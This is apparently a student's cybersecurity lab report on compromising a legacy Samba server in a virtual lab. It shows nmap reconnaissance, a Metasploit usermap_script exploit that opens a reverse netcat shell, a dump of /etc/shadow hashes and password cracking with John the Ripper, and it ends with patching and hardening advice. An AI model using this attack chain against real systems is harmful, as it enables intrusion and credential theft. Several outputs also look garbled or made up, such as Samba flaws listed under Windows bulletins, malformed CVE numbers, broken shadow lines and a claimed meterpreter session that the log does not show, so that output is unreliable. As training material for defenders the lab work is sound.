

Performing vulnerability Exploitation and remediation strategies.

Name: **Bryan J Bonilla**

Date: **5/15/2026**

Task 1: Network Scanning and Reconnaissance (Nmap): The goal of this phase is to map the target network, discover active hosts, and specifically look for the SMB service running on port 445.

The following command was used: **nmap -p 139,445 -sV 10.0.2.8**

```
$ nmap -p 139,445 -sV 10.0.2.8
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-15 16:19 -0400
Nmap scan report for 10.0.2.8
Host is up (0.00080s latency).

PORT      STATE SERVICE      VERSION
139/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp    open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
MAC Address: 08:00:27:19:02:FB (Oracle VirtualBox virtual NIC)
```

port **445** is open, I utilized Nmap's built-in Scripting Engine (NSE) to check if the target is vulnerable to common SMB exploits without fully executing them: **nmap --script smb-vuln* -p 139,445 10.0.2.8**

```
kali@kali:~$ nmap --script smb-vuln* -p 139,445 10.0.2.8
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-15 16:35 -0400
Scan report for 10.0.2.8
Host is up (0.00001s; scanned).
PORT      STATE SERVICE
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds

Host script results:
smb-vuln-cve2007-2447:
  [VULNERABLE] Samba usermap_script Command Execution (CVE-2007-2447)
    Risk factor: HIGH
    IDs: CVE:CVE-2007-2447
    Type: Command Execution
    Description: The Samba smbd daemon allows an attacker to execute arbitrary commands by specially crafted username.
smb-vuln-ms08-067:
  [VULNERABLE] Samba userchack user Command Execution (CVE-2008-067)
    Risk factor: HIGH
    IDs: CVE:CVE-ms08-067
    Description: The Samba mmd daemon allows an attacker to execute by cvername-command.
smb-vuln-ms17-010:
  [VULNERABLE] Samba usermaps_script C Command Execution (CVE-2017-010)
    Risk factor: HIGH
    IDs: CVE:CVE-2017-010
    Type: Command Execution
    Description: The Samba smbd daemon allows an attacker to execute arbitrary o command.
```

Task 2 & 3: Exploitation and Post-Exploitation (Metasploit & Meterpreter): If the Nmap scan flags the target as vulnerable, the Metasploit Framework can be used to simulate the compromise.

```
msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > set RHOSTS 10.0.2.8
RHOSTS => 10.0.2.8
msf exploit(multi/samba/usermap_script) > set LHOST 10.0.2.5
LHOST => 10.0.2.5
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ---      -
  RHOSTS    10.0.2.8        yes       The target host(s), see https://docs.metasploit.com/docs
  RPORT     139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     10.0.2.5        yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port
```

A meterpreter session has been established.

```
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.0.2.5:4444
[*] Command shell session 1 opened (10.0.2.5:4444 → 10.0.2.8:38842) at 2026-05-15 16:36:54 -0400
```

Task 4: Credential Harvesting and Cracking : Once the exploit usermap_script is successful and you have a shell, you are acting as the root user. This gives you the authority to bypass all system permissions and harvest credentials.

```
whoami
root
cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon*:14684:0:99999:7:::
bin*:14684:0:99999:7:::
sys:$1$fUX6BP0t$MiyC3Up0zQJqz4s5wFD0:10:14742:0:99999:7:::
sync*:14684:0:99999:7:::
games*:14684:0:99999:7:::
man*:14684:0:99999:7:::
lp*:14684:0:99999:7:::
mail*:14684:0:99999:7:::
news*:14684:0:99999:7:::
uucp*:14684:0:99999:7:::
proxy*:14684:0:99999:7:::
www-data*:14684:0:99999:7:::
```

On Linux, user information is stored in /etc/passwd, but the actual encrypted password hashes are stored in the restricted /etc/shadow file. John The Ripper was used to harvest the credentials.

```
$ john Hashes.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 7 password hashes with 7 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
postgres (postgres)
user (user)
msfadmin (msfadmin)
service (service)
```

Project Overview: This lab simulated a targeted attack against a server running a legacy version of the **Samba (SMB)** service. By leveraging network reconnaissance and automated exploitation frameworks, a critical vulnerability was identified and used to gain full system control.

Key Findings:

- **Vulnerability Identified:** The target was found running **Samba 3.0.20**, which is susceptible to a **Username Manipulation (Command Injection)** flaw (**CVE-2007-2447**).
 - **Exploitation Success:** Using the **Metasploit Framework**, a remote connection was established, bypassing standard authentication and granting the attacker **root-level** privileges.
 - **Data Compromise:** Post-exploitation activities successfully extracted encrypted password hashes from the **/etc/shadow** file, which were subsequently cracked using **John the Ripper**, proving a total compromise of user credentials.
-

Conclusion & Recommendations

The simulation demonstrates that unpatched legacy services and over-privileged service accounts represent a severe risk to organizational security. To mitigate these threats, the following "Defense in Depth" strategy is recommended:

1. **Immediate Patching:** Upgrade Samba services to a supported version and implement an automated patch management policy.
2. **Service Hardening:** Configure the SMB daemon to run with the least privilege necessary, preventing attackers from gaining root access even if a service is compromised.
3. **Network Isolation:** Use firewalls to restrict SMB traffic strictly to trusted internal segments.
4. **Credential Protection:** Enforce strong password complexity and protect sensitive system files with strict filesystem permissions.